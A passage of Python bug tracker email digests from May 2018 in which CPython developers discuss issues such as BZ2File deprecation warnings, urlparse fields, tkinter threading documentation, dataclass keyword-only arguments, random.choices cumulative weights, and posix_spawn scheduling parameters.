<1526247608.16.0.682650639539.issue33453@psf.upfronthosting.co.za> Eric V. Smith added the comment: There have been comments on the PR, but I'd like to focus the higher level issue back here. Specifically, see my comment https://github.com/python/cpython/pull/6768#discussion_r187813919 To summarize: I still think string inspections are the best we can do. I'm going to try to organize a meeting with Guido, Ivan, and ?ukasz at the sprints on Monday. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 13 17:42:24 2018 From: report at bugs.python.org (Matthias Bussonnier) Date: Sun, 13 May 2018 21:42:24 +0000 Subject: [issue33487] BZ2File(buffering=None) does not emit deprecation warning, deprecation version not documented. Message-ID: <1526247744.31.0.682650639539.issue33487@psf.upfronthosting.co.za> New submission from Matthias Bussonnier : BZ2File(buffering=None) should emit a deprecation warning as the argument is deprecated. The deprecation message and documentation should say since when it is deprecated. (AFAICT since 3.3) ---------- messages: 316482 nosy: mbussonn priority: normal severity: normal status: open title: BZ2File(buffering=None) does not emit deprecation warning, deprecation version not documented. _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 13 17:49:17 2018 From: report at bugs.python.org (Matthias Bussonnier) Date: Sun, 13 May 2018 21:49:17 +0000 Subject: [issue33487] BZ2File(buffering=None) does not emit deprecation warning, deprecation version not documented. In-Reply-To: <1526247744.31.0.682650639539.issue33487@psf.upfronthosting.co.za> Message-ID: <1526248157.95.0.682650639539.issue33487@psf.upfronthosting.co.za> Change by Matthias Bussonnier : ---------- keywords: +patch pull_requests: +6472 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 13 17:58:35 2018 From: report at bugs.python.org (R. David Murray) Date: Sun, 13 May 2018 21:58:35 +0000 Subject: [issue33480] Improvement suggestions for urllib.parse.urlparser In-Reply-To: <1526199118.32.0.682650639539.issue33480@psf.upfronthosting.co.za> Message-ID: <1526248715.95.0.682650639539.issue33480@psf.upfronthosting.co.za> R. David Murray added the comment: These are actually reasonable requests, and in fact have been brought up before and implemented: >>> x = urlparse('http://me:mypass at example.com:800/foo;key1=value1?key2=value2#key3=value3#key4=value4') >>> x ParseResult(scheme='http', netloc='me:mypass at example.com:800', path='/foo', params='key1=value1', query='key2=value2', fragment='key3=value3#key4=value4') >>> x.hostname 'example.com' >>> x.port 800 >>> x.username 'me' >>> x.password 'mypass' >>> x._asdict() OrderedDict([('scheme', 'http'), ('netloc', 'me:mypass at example.com:800'), ('path', '/foo'), ('params', 'key1=value1'), ('query', 'key2=value2'), ('fragment', 'key3=value3#key4=value4')]) Now, what this doesn't get you is the "extra" fields that are not part of the base tuple. The base tuple has the members it does for backward compatibility. So, the thing to discuss on python-ideas would be an API for namedtuple that gets you the extra fields. None versus the empty string is not something that can happen, for backward compatibility reasons, even if there was agreement that it was better. I'm not entirely sure why dict(x) is not supported (but I suspect it is because x is "a tuple", again for backward compatibility reasons), so you might search the archives to find out why for sure, if you are curious. ---------- nosy: +r.david.murray resolution: -> out of date stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 13 20:40:40 2018 From: report at bugs.python.org (Eitan Adler) Date: Mon, 14 May 2018 00:40:40 +0000 Subject: [issue33488] github pull request template does not satisfy markdownlint Message-ID: <1526258440.92.0.682650639539.issue33488@psf.upfronthosting.co.za> New submission from Eitan Adler : markdownlint is, as the name implies, a tool for linting markdown files. The current template has the following lint warnings: ``` ./.github/PULL_REQUEST_TEMPLATE.md:8: MD031 Fenced code blocks should be surrounded by blank lines ./.github/PULL_REQUEST_TEMPLATE.md:10: MD031 Fenced code blocks should be surrounded by blank lines ./.github/PULL_REQUEST_TEMPLATE.md:19: MD031 Fenced code blocks should be surrounded by blank lines ./.github/PULL_REQUEST_TEMPLATE.md:21: MD031 Fenced code blocks should be surrounded by blank lines ``` These should be fixed ---------- assignee: docs at python components: Documentation messages: 316484 nosy: docs at python, eitan.adler priority: normal severity: normal status: open title: github pull request template does not satisfy markdownlint type: enhancement _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 13 20:41:11 2018 From: report at bugs.python.org (Eitan Adler) Date: Mon, 14 May 2018 00:41:11 +0000 Subject: [issue33488] github pull request template does not satisfy markdownlint In-Reply-To: <1526258440.92.0.682650639539.issue33488@psf.upfronthosting.co.za> Message-ID: <1526258471.63.0.682650639539.issue33488@psf.upfronthosting.co.za> Change by Eitan Adler : ---------- keywords: +patch pull_requests: +6473 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 13 20:47:25 2018 From: report at bugs.python.org (Terry J. Reedy) Date: Mon, 14 May 2018 00:47:25 +0000 Subject: [issue31500] IDLE: Tiny font on HiDPI display In-Reply-To: <1505674446.46.0.331613884884.issue31500@psf.upfronthosting.co.za> Message-ID: <1526258845.2.0.682650639539.issue31500@psf.upfronthosting.co.za> Terry J. Reedy added the comment: Does IDLE now work on your HiDPI screen without the patch? or does it not work even with the patch? I just got a 2.7 worktree working with Python built. 2.7.15+ comes with 8.5.19 instead of 8.5.15. IDLE runs as I expect and windows look normal, as with 3.x, both before and after the patch. If calling fix_scaling ever causes anyone a problem on some particular combination of OS, Python, and Tk versions, they could neutralize it by adding the following after the current definition. def fix_scaling: pass ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 13 20:55:38 2018 From: report at bugs.python.org (Benjamin Peterson) Date: Mon, 14 May 2018 00:55:38 +0000 Subject: [issue33488] github pull request template does not satisfy markdownlint In-Reply-To: <1526258440.92.0.682650639539.issue33488@psf.upfronthosting.co.za> Message-ID: <1526259338.3.0.682650639539.issue33488@psf.upfronthosting.co.za> Benjamin Peterson added the comment: New changeset 5cd22cf2097a6dd209999cf97858d54564a3be87 by Benjamin Peterson (Eitan Adler) in branch 'master': bpo-33488: Satisfy markdownlint for the pull request template. (GH-6786) https://github.com/python/cpython/commit/5cd22cf2097a6dd209999cf97858d54564a3be87 ---------- nosy: +benjamin.peterson _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 13 20:56:28 2018 From: report at bugs.python.org (Benjamin Peterson) Date: Mon, 14 May 2018 00:56:28 +0000 Subject: [issue33488] github pull request template does not satisfy markdownlint In-Reply-To: <1526258440.92.0.682650639539.issue33488@psf.upfronthosting.co.za> Message-ID: <1526259388.92.0.682650639539.issue33488@psf.upfronthosting.co.za> Change by Benjamin Peterson : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 13 20:59:52 2018 From: report at bugs.python.org (Benjamin Peterson) Date: Mon, 14 May 2018 00:59:52 +0000 Subject: [issue33488] github pull request template does not satisfy markdownlint In-Reply-To: <1526258440.92.0.682650639539.issue33488@psf.upfronthosting.co.za> Message-ID: <1526259592.76.0.682650639539.issue33488@psf.upfronthosting.co.za> Change by Benjamin Peterson : ---------- pull_requests: +6474 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 13 21:25:29 2018 From: report at bugs.python.org (Terry J. Reedy) Date: Mon, 14 May 2018 01:25:29 +0000 Subject: [issue33489] Newer externals for windows do not always trigger rebuild Message-ID: <1526261129.26.0.682650639539.issue33489@psf.upfronthosting.co.za> New submission from Terry J. Reedy : I added a new 2.7 worktree, with 2.7 checked out to track origin (my github fork). I built Python with tcl/tk 8.5.15. Whoops, my fork had 2.7 at 2.7.13+. Fetch upstream, merge upstream/2.7, and rebuild. I noticed that tcl/tk 8.5.19 was downloaded. But IDLE subsequently reported that tk was still at 8.5.15. I renamed the 8.5.15 and the compiled tcltk directories, built again, and tcltk was recompiled to 8.5.19. It seems that when new tcl/tk externals are downloaded, the compiled tcltk should be deleted. If I understand, this part of the output says that there was no recompile of tcl/tk. _hashlib.vcxproj -> f:\dev\27\PCBuild\_hashlib_d.pyd _tkinter.c Creating library f:\dev\27\PCBuild\_tkinter_d.lib and object f:\dev\27\PCBuild\_tkinter_d.e xp _tkinter.vcxproj -> f:\dev\27\PCBuild\_tkinter_d.pyd _bsddb.c My installed 2.7.15 also has tcl/tk at 8.5.15. If tcl/tk was upgraded before this recent release, the upgrade did not take effect. When tcl/tk has been upgraded during 3.x alpha/beta periods, tcl/tk seems to have been recompiled when it should be. The upstream update also caused the following updates: Fetching bsddb-4.7.25.0... Fetching openssl-1.0.2o... Fetching sqlite-3.14.2.0... There were new compiles to build f:\dev\27\PCBuild\_sqlite3_d.pyd f:\dev\27\PCBuild\ssleay_d.lib f:\dev\27\PCBuild\_bsddb_d.pyd so I presume these are ok and I can just delete the old directories. ---------- components: Build, Windows messages: 316487 nosy: paul.moore, steve.dower, terry.reedy, tim.golden, zach.ware priority: normal severity: normal status: open title: Newer externals for windows do not always trigger rebuild type: behavior versions: Python 2.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 13 21:27:00 2018 From: report at bugs.python.org (Benjamin Peterson) Date: Mon, 14 May 2018 01:27:00 +0000 Subject: [issue33488] github pull request template does not satisfy markdownlint In-Reply-To: <1526258440.92.0.682650639539.issue33488@psf.upfronthosting.co.za> Message-ID: <1526261220.48.0.682650639539.issue33488@psf.upfronthosting.co.za> Benjamin Peterson added the comment: New changeset f1ee4a2e52d98698ec2c0a0e8acb6cd3bbc9bf1f by Benjamin Peterson in branch '3.7': [3.7] bpo-33488: Satisfy markdownlint for the pull request template. (GH-6786) https://github.com/python/cpython/commit/f1ee4a2e52d98698ec2c0a0e8acb6cd3bbc9bf1f ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 13 23:30:35 2018 From: report at bugs.python.org (STINNER Victor) Date: Mon, 14 May 2018 03:30:35 +0000 Subject: [issue20104] expose posix_spawn(p) In-Reply-To: <1388600000.81.0.911230526926.issue20104@psf.upfronthosting.co.za> Message-ID: <1526268635.56.0.682650639539.issue20104@psf.upfronthosting.co.za> STINNER Victor added the comment: For Python 3.7, I discussed with Pablo and he seems to be ok to remove the function from Python 3.7, to get more time to polish the API in the master branch (future Python 3.8). Can someone please write a PR to remove the function from the 3.7 branch? I dislike the idea of applying a significant change on 3.7 to change the API between a beta and a rc release. IMHO it's too late, and we might find some API bugs. I would prefer to get more feedback on the API before setting it in stone (once a 3.x.0 version is released, it's really hard to change the API). ---------- priority: deferred blocker -> release blocker _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 13 23:36:43 2018 From: report at bugs.python.org (INADA Naoki) Date: Mon, 14 May 2018 03:36:43 +0000 Subject: [issue33477] Document that compile(code, 'exec') has different behavior in 3.7+ In-Reply-To: <1526173050.51.0.682650639539.issue33477@psf.upfronthosting.co.za> Message-ID: <1526269003.8.0.682650639539.issue33477@psf.upfronthosting.co.za> INADA Naoki added the comment: ref #32911 And it's documented already. https://docs.python.org/3.7/whatsnew/3.7.html#changes-in-the-python-api ---------- nosy: +inada.naoki _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 13 23:37:49 2018 From: report at bugs.python.org (Eitan Adler) Date: Mon, 14 May 2018 03:37:49 +0000 Subject: [issue33490] pthread auto-detection can use AX_PTHREAD Message-ID: <1526269069.92.0.682650639539.issue33490@psf.upfronthosting.co.za> New submission from Eitan Adler : There is a ton of logic in configure.ac to detect pthreads support. There is a standard macro to use instead: https://www.gnu.org/software/autoconf-archive/ax_pthread.html#ax_pthread In order to simplify our pthread logic we should make use of the standard macro instead of writing our own code. ---------- components: Build messages: 316491 nosy: eitan.adler priority: normal severity: normal status: open title: pthread auto-detection can use AX_PTHREAD type: enhancement _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 13 23:38:01 2018 From: report at bugs.python.org (Eitan Adler) Date: Mon, 14 May 2018 03:38:01 +0000 Subject: [issue33490] pthread auto-detection can use AX_PTHREAD In-Reply-To: <1526269069.92.0.682650639539.issue33490@psf.upfronthosting.co.za> Message-ID: <1526269081.79.0.682650639539.issue33490@psf.upfronthosting.co.za> Change by Eitan Adler : ---------- keywords: +patch pull_requests: +6475 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 13 23:54:50 2018 From: report at bugs.python.org (Ivan Pozdeev) Date: Mon, 14 May 2018 03:54:50 +0000 Subject: [issue33479] Document tkinter and threads In-Reply-To: <1526184152.45.0.682650639539.issue33479@psf.upfronthosting.co.za> Message-ID: <1526270090.46.0.682650639539.issue33479@psf.upfronthosting.co.za> Ivan Pozdeev added the comment: I was composing a letter to python-dev with all I know of how tkinter works with regard to threads and Tcl, and the fixing plans so that we're all on the same page if you wish to participate. I'm no longer sure if it belongs in the mailing list so see it in the attachment. The plan I have for fixing the documentation is there towards the end. It includes what you suggested but is more detailed. I'll recite it below: --- * Document the current behaviour by rewriting https://docs.python.org/3/library/tkinter.html . Since I've recently learned Tkinter, I can say which critical information is missing and which existing one proved useless. Principles: * include fundamental information critical to understand the module's behaviour * concentrate on reference documentation for the module because it's more important to have than a user guide ( https://meta.serverfault.com/questions/8934/what-to-do-with-questions-when-the-answer-is-in-a-man-page#comment22241_8938 ) * split off/drop anything unrelated to the above two Resulting scheme: 0. Intro: +supported Tcl/Tk versions and the two flavors; the fact that Tkinter adds its own logic, and the Tkinter doc concentrates on that logic and refers to Tcl/Tk docs for details that are taken from there without changes. * Move external links section to be bottom. 1. Architecture. "Unlike most other GUI toolkits, Tcl/Tk consists of a few separate modules with a clear distinction between them, and this is non-transparect to the user:..." Base on https://docs.python.org/3/library/tkinter.html#how-tk-and-tkinter-are-related , but focus on what implements what rather than what _calls_ what; drop Xlib entry (transparent implementation detail, not required for understanding). 2. Threading model. The above-described general idea and user-visible limitations what can be called where and when. (the letter has details that this refers to, too long to recite) 3. References for `tkinter`, `tkinter.Tk()`, `_tkinter.Tkapp` (public interface only -- `call()` at least). Mention which functions cannot be called from other threads. Do not mention the two issue33257 bugs. * Move widget reference to another page. * Drop Python-Tcl mappings unless the reference sections need them as supplemental reference. * Drop tutorial: too primitive to be useful. Move tutorials to another page like https://docs.python.org/3/library/logging.html does. * Drop https://docs.python.org/3/library/tk.html -- proved hard to find. Make https://docs.python.org/3/library/tkinter.html the head page instead. * Discuss which of the described behaviour is as intended and which is a bug. Proceed with fixing. ---------- assignee: -> docs at python components: +Documentation nosy: +Ivan.Pozdeev, docs at python Added file: https://bugs.python.org/file47586/[Python-Dev] Tkinter threading model description and fix plan.eml _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 03:38:51 2018 From: report at bugs.python.org (Ivan Gushchin) Date: Mon, 14 May 2018 07:38:51 +0000 Subject: [issue33491] mistype of method's name Message-ID: <1526283531.17.0.682650639539.issue33491@psf.upfronthosting.co.za> New submission from Ivan Gushchin : This link https://docs.python.org/2/library/unittest.html#unittest.SkipTest names method from Capital letter. At the same time method name (according to help(unittest) ) is skipTest (starting lowercase). For those who reads documentation online this mistype leads to error. ---------- assignee: docs at python components: Documentation messages: 316493 nosy: Ivan Gushchin, docs at python priority: normal severity: normal status: open title: mistype of method's name type: enhancement versions: Python 2.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 04:12:14 2018 From: report at bugs.python.org (Jeroen Demeyer) Date: Mon, 14 May 2018 08:12:14 +0000 Subject: [issue5755] "-Wstrict-prototypes" is valid for Ada/C/ObjC but not for C++" In-Reply-To: <1239729771.84.0.97828652099.issue5755@psf.upfronthosting.co.za> Message-ID: <1526285534.32.0.682650639539.issue5755@psf.upfronthosting.co.za> Change by Jeroen Demeyer : ---------- nosy: +jdemeyer _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 04:14:25 2018 From: report at bugs.python.org (Martijn Pieters) Date: Mon, 14 May 2018 08:14:25 +0000 Subject: [issue33492] Updating the Evaluation order section to cover *expression in calls Message-ID: <1526285664.99.0.682650639539.issue33492@psf.upfronthosting.co.za> New submission from Martijn Pieters : Can the *Evaluation order* (_evalorder) section in reference/expressions.rst please be updated to cover this exception in a *call* primary (quoting from the _calls section): A consequence of this is that although the ``*expression`` syntax may appear *after* explicit keyword arguments, it is processed *before* the keyword arguments (and any ``**expression`` arguments -- see below). So:: This exception to the normal expression evaluation order is rather buried in the _calls section only. ---------- assignee: docs at python components: Documentation messages: 316494 nosy: docs at python, mjpieters priority: normal severity: normal status: open title: Updating the Evaluation order section to cover *expression in calls versions: Python 3.5, Python 3.6, Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 04:15:45 2018 From: report at bugs.python.org (Martin Panter) Date: Mon, 14 May 2018 08:15:45 +0000 Subject: [issue20104] expose posix_spawn(p) In-Reply-To: <1388600000.81.0.911230526926.issue20104@psf.upfronthosting.co.za> Message-ID: <1526285745.67.0.682650639539.issue20104@psf.upfronthosting.co.za> Martin Panter added the comment: I suggested the ?scheduler? tuple to bring the two related parameters (scheduling policy and sched_param) together, similar to how they are paired as the second and third parameters to ?os.sched_setscheduler?, and because I thought it would imply that a scheduling policy without sched_param is not valid. But separate keyword parameters would also work if you prefer. I might call them ?schedpolicy? and ?schedparam?, but if you prefer the naming scheme in the current proposal, you could call them ?setscheduler? and ?setschedparam?. Although in that case, setting the ?setscheduler? parameter on its own would not be sufficient to correctly set the POSIX_SPAWN_SETSCHEDULER flag. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 05:21:55 2018 From: report at bugs.python.org (Martin Panter) Date: Mon, 14 May 2018 09:21:55 +0000 Subject: [issue32393] nav menu jitter in old documentation In-Reply-To: <1513810852.69.0.213398074469.issue32393@psf.upfronthosting.co.za> Message-ID: <1526289715.54.0.682650639539.issue32393@psf.upfronthosting.co.za> Martin Panter added the comment: Maybe related to Issue 24712? ---------- nosy: +martin.panter _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 05:43:38 2018 From: report at bugs.python.org (Martin Panter) Date: Mon, 14 May 2018 09:43:38 +0000 Subject: [issue33481] configparser.write() does not save comments. In-Reply-To: <1526207160.12.0.682650639539.issue33481@psf.upfronthosting.co.za> Message-ID: <1526291018.57.0.682650639539.issue33481@psf.upfronthosting.co.za> Martin Panter added the comment: Looks like Issue 1410680 has a new function to merge comments with new config values (among other things). ---------- nosy: +martin.panter _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 06:29:17 2018 From: report at bugs.python.org (Jeroen Demeyer) Date: Mon, 14 May 2018 10:29:17 +0000 Subject: [issue5755] "-Wstrict-prototypes" is valid for Ada/C/ObjC but not for C++" In-Reply-To: <1239729771.84.0.97828652099.issue5755@psf.upfronthosting.co.za> Message-ID: <1526293757.9.0.682650639539.issue5755@psf.upfronthosting.co.za> Change by Jeroen Demeyer : ---------- pull_requests: +6476 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 06:32:30 2018 From: report at bugs.python.org (Eric V. Smith) Date: Mon, 14 May 2018 10:32:30 +0000 Subject: [issue33493] dataclasses: allow keyword-only arguments Message-ID: <1526293950.07.0.682650639539.issue33493@psf.upfronthosting.co.za> New submission from Eric V. Smith : I've had several requests for keyword-only arguments. This is a placeholder to remind me to work on it. I have not decided if it's a good idea or not. I propose adding a keyword_only argument to field(), defaulting to False. I'm thinking that the basic idea would be to put all keyword-only fields at the end of the arguments to __init__, but for all other uses, leave them where they appear in the class definition. That way comparison operations, in particular, would use the fields as they appear in the class definition (which is the current behavior). Since they'd be at the end of __init__, and since order doesn't matter (they're keyword-only, after all), then this would work as expected for base classes. That is, given: @dataclass class B: a: field(type=int, keyword_only=True) b: int @dataclass class C(B): c: int d: field(type=int, keyword_only=True) Then B's __init__ would take (b, c, *, a, d) as its arguments, but its comparison functions would compare the tuples as (a, b, c, d). It would be an error for a ClassVar field to be keyword-only. I think it would be okay if an InitVar field were keyword-only, but I haven't given it a lot of thought. ---------- assignee: eric.smith components: Library (Lib) messages: 316498 nosy: eric.smith priority: normal severity: normal status: open title: dataclasses: allow keyword-only arguments type: enhancement versions: Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 07:36:38 2018 From: report at bugs.python.org (Steven D'Aprano) Date: Mon, 14 May 2018 11:36:38 +0000 Subject: [issue33494] random.choices ought to check that cumulative weights are in ascending order Message-ID: <1526297798.91.0.682650639539.issue33494@psf.upfronthosting.co.za> New submission from Steven D'Aprano : As mentioned on the Python-List: https://mail.python.org/pipermail/python-list/2018-May/733061.html random.choices() silently returns the wrong values when cumulative weights are not given, i.e. if the user misreads the documentation and provides non-cumulative weights, expecting that cumulative weights will be constructed for them. I think that the documentation should be more clear, and preferably the choices() function ought to fail early when given invalid weights. ---------- components: Library (Lib) messages: 316499 nosy: mark.dickinson, rhettinger, steven.daprano priority: normal severity: normal status: open title: random.choices ought to check that cumulative weights are in ascending order type: enhancement versions: Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 07:54:32 2018 From: report at bugs.python.org (Paul Moore) Date: Mon, 14 May 2018 11:54:32 +0000 Subject: [issue33494] random.choices ought to check that cumulative weights are in ascending order In-Reply-To: <1526297798.91.0.682650639539.issue33494@psf.upfronthosting.co.za> Message-ID: <1526298872.91.0.682650639539.issue33494@psf.upfronthosting.co.za> Paul Moore added the comment: Supplying cum_weights allows the code to use bisection to locate the correct value to return. This is O(log n), and is significantly faster for large populations than supplying weights (which need to be totalled for the calculation). Requiring a pre-check on cum_weights (for example, the obvious check that the sequence is nondecreasing) would add an O(n) step, and so significantly impact performance for that case. ---------- nosy: +paul.moore _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 08:32:26 2018 From: report at bugs.python.org (Steven D'Aprano) Date: Mon, 14 May 2018 12:32:26 +0000 Subject: [issue33494] random.choices ought to check that cumulative weights are in ascending order In-Reply-To: <1526298872.91.0.682650639539.issue33494@psf.upfronthosting.co.za> Message-ID: <20180514123219.GQ12683@ando.pearwood.info> Steven D'Aprano added the comment: On Mon, May 14, 2018 at 11:54:32AM +0000, Paul Moore wrote: > Requiring a pre-check on cum_weights (for example, the obvious check > that the sequence is nondecreasing) would add an O(n) step, and so > significantly impact performance for that case. You may very well be right, but we should at least think about ways to mitigate this. After all, it doesn't matter how fast a function is if it returns the wrong value. If an ahead-of-time check is too slow, can we make it just-in-time? Perhaps bisect can be made to fail if it finds values in the wrong order. That might not detect all out-of-order input (perhaps it only checks the values it actually looks at), it might be "good enough" to at least catch some bad input. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 08:36:16 2018 From: report at bugs.python.org (Eric V. Smith) Date: Mon, 14 May 2018 12:36:16 +0000 Subject: [issue33495] dataclasses: repr of Field objects should use repr of each member Message-ID: <1526301376.3.0.682650639539.issue33495@psf.upfronthosting.co.za> New submission from Eric V. Smith : This is especially true for the "type" member, since it might be a string that looks like a type name (depending on how #33453 is resolved). But repr should be used for all Field members. ---------- assignee: eric.smith components: Library (Lib) messages: 316502 nosy: eric.smith, ned.deily priority: release blocker severity: normal status: open title: dataclasses: repr of Field objects should use repr of each member type: behavior versions: Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 09:16:47 2018 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Mon, 14 May 2018 13:16:47 +0000 Subject: [issue20104] expose posix_spawn(p) In-Reply-To: <1388600000.81.0.911230526926.issue20104@psf.upfronthosting.co.za> Message-ID: <1526303807.18.0.682650639539.issue20104@psf.upfronthosting.co.za> Pablo Galindo Salgado added the comment: I think that is the biggest argument towards using a tuple: that just setting the priority is not enough (and also is decontextualized as different policies have different priorities). On the other hand one could say that the API is a low level API and therefore the user should be aware of such a problem. Also, using a tuple makes the API a bit asymmetric as Serhiy mention but I think this can compensate for the conceptual map the will be established (as in each priority is associated with a policy) if the tuple API is used. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 10:00:40 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Mon, 14 May 2018 14:00:40 +0000 Subject: [issue32601] PosixPathTest.test_expanduser fails in NixOS build sandbox In-Reply-To: <1516390296.8.0.467229070634.issue32601@psf.upfronthosting.co.za> Message-ID: <1526306440.63.0.682650639539.issue32601@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: New changeset 5c0d462689e1a69537eaeba6ab94e3ff3524fc31 by Serhiy Storchaka (Anders Kaseorg) in branch 'master': bpo-32601: Let test_expanduser use the same user if no others found. (GH-5246) https://github.com/python/cpython/commit/5c0d462689e1a69537eaeba6ab94e3ff3524fc31 ---------- nosy: +serhiy.storchaka _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 10:00:59 2018 From: report at bugs.python.org (miss-islington) Date: Mon, 14 May 2018 14:00:59 +0000 Subject: [issue32601] PosixPathTest.test_expanduser fails in NixOS build sandbox In-Reply-To: <1516390296.8.0.467229070634.issue32601@psf.upfronthosting.co.za> Message-ID: <1526306459.93.0.682650639539.issue32601@psf.upfronthosting.co.za> Change by miss-islington : ---------- keywords: +patch pull_requests: +6477 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 10:01:51 2018 From: report at bugs.python.org (miss-islington) Date: Mon, 14 May 2018 14:01:51 +0000 Subject: [issue32601] PosixPathTest.test_expanduser fails in NixOS build sandbox In-Reply-To: <1516390296.8.0.467229070634.issue32601@psf.upfronthosting.co.za> Message-ID: <1526306511.38.0.682650639539.issue32601@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6478 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 10:08:10 2018 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Mon, 14 May 2018 14:08:10 +0000 Subject: [issue20104] expose posix_spawn(p) In-Reply-To: <1388600000.81.0.911230526926.issue20104@psf.upfronthosting.co.za> Message-ID: <1526306890.53.0.682650639539.issue20104@psf.upfronthosting.co.za> Change by Pablo Galindo Salgado : ---------- pull_requests: +6479 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 10:10:44 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Mon, 14 May 2018 14:10:44 +0000 Subject: [issue32861] urllib.robotparser: incomplete __str__ methods In-Reply-To: <1518828766.79.0.467229070634.issue32861@psf.upfronthosting.co.za> Message-ID: <1526307044.37.0.682650639539.issue32861@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: New changeset bd08a0af2d88c590ede762102bd42da3437e9980 by Serhiy Storchaka (Michael Lazar) in branch 'master': bpo-32861: urllib.robotparser fix incomplete __str__ methods. (GH-5711) https://github.com/python/cpython/commit/bd08a0af2d88c590ede762102bd42da3437e9980 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 10:11:51 2018 From: report at bugs.python.org (miss-islington) Date: Mon, 14 May 2018 14:11:51 +0000 Subject: [issue32861] urllib.robotparser: incomplete __str__ methods In-Reply-To: <1518828766.79.0.467229070634.issue32861@psf.upfronthosting.co.za> Message-ID: <1526307111.61.0.682650639539.issue32861@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6480 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 10:13:52 2018 From: report at bugs.python.org (miss-islington) Date: Mon, 14 May 2018 14:13:52 +0000 Subject: [issue32861] urllib.robotparser: incomplete __str__ methods In-Reply-To: <1518828766.79.0.467229070634.issue32861@psf.upfronthosting.co.za> Message-ID: <1526307232.46.0.682650639539.issue32861@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6481 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 10:15:01 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Mon, 14 May 2018 14:15:01 +0000 Subject: [issue31500] IDLE: Tiny font on HiDPI display In-Reply-To: <1505674446.46.0.331613884884.issue31500@psf.upfronthosting.co.za> Message-ID: <1526307301.52.0.682650639539.issue31500@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: Seems IDLE now works on my HiDPI screen without the patch. It looks the same as IDLE in 3.x with the patch. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 10:22:07 2018 From: report at bugs.python.org (miss-islington) Date: Mon, 14 May 2018 14:22:07 +0000 Subject: [issue32601] PosixPathTest.test_expanduser fails in NixOS build sandbox In-Reply-To: <1516390296.8.0.467229070634.issue32601@psf.upfronthosting.co.za> Message-ID: <1526307727.72.0.682650639539.issue32601@psf.upfronthosting.co.za> miss-islington added the comment: New changeset 2e01f7d5fe51b492e39d97bf0da2a83f2efb977d by Miss Islington (bot) in branch '3.7': bpo-32601: Let test_expanduser use the same user if no others found. (GH-5246) https://github.com/python/cpython/commit/2e01f7d5fe51b492e39d97bf0da2a83f2efb977d ---------- nosy: +miss-islington _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 10:24:22 2018 From: report at bugs.python.org (devala) Date: Mon, 14 May 2018 14:24:22 +0000 Subject: [issue33496] Accept Pathlib paths for sqlite file Message-ID: <1526307862.09.0.682650639539.issue33496@psf.upfronthosting.co.za> New submission from devala : I'd love to be able to pass pathlib paths to sqlite's connect conn = sqlite3.connect(DB_FILE) TypeError: argument 1 must be str The workaround is not hard (str(DB_FILE), but reducing friction in using pathlib would be great. ---------- components: Library (Lib) messages: 316508 nosy: devala priority: normal severity: normal status: open title: Accept Pathlib paths for sqlite file type: enhancement versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 10:27:25 2018 From: report at bugs.python.org (Barry A. Warsaw) Date: Mon, 14 May 2018 14:27:25 +0000 Subject: [issue33465] test_from_import_missing_attr_has_name_and_so_path fails when select is a builtin instead of an extension In-Reply-To: <1526054824.37.0.682650639539.issue33465@psf.upfronthosting.co.za> Message-ID: <1526308045.1.0.682650639539.issue33465@psf.upfronthosting.co.za> Barry A. Warsaw added the 